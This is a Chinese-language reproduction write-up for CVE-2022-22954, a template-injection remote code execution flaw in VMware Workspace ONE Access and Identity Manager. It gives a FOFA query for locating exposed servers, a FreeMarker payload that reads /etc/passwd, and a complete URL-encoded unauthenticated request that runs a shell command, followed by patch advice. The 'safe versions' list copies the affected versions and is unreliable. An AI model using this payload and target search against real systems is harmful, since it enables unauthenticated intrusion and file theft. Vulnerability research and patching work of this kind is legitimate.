VMware Workspace ONE Access SSTI 漏洞复现(CVE-2022-22954)

一、漏洞描述

VMware Workspace ONE Access 及 Identity Manager 存在一个由服务器模板注入导致的远程命令执行漏洞，未经身份验证的攻击者可以利用此漏洞进行远程任意代码执行。

二、影响版本

• Linux Linux Kernel * * *
• Vmware Identity Manager 3.3.3 * * *
• Vmware Identity Manager 3.3.4 * * *
• Vmware Identity Manager 3.3.5 * * *
• Vmware Identity Manager 3.3.6 * * *
• Vmware Vrealize Automation * * * *
• Vmware Vrealize Automation 7.6 * * *
• Vmware Workspace One Access 20.10.0.0 * * *
• Vmware Workspace One Access 20.10.0.1 * * *
• Vmware Workspace One Access 21.08.0.0 * * *
• Vmware Workspace One Access 21.08.0.1 * * *

三、漏洞环境

fofa:icon_hash="-1250474341"

四、漏洞复现

poc:

${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d

返回状态为200，且包涵Authorization context is not valid

五、更新建议

1、目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

VMSA-2022-0011

2、使用安全版本

• Vmware Cloud Foundation * * * *
• Vmware Vrealize Suite Lifecycle Manager * * * *
• Linux Linux Kernel * * *
• Vmware Identity Manager 3.3.3 * * *
• Vmware Identity Manager 3.3.4 * * *
• Vmware Identity Manager 3.3.5 * * *
• Vmware Identity Manager 3.3.6 * * *
• Vmware Vrealize Automation * * * *
• Vmware Vrealize Automation 7.6 * * *
• Vmware Workspace One Access 20.10.0.0 * * *
• Vmware Workspace One Access 20.10.0.1 * * *
• Vmware Workspace One Access 21.08.0.0 * * *
• Vmware Workspace One Access 21.08.0.1 * * *

参考文献：CVE-2022-22954 : VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side templa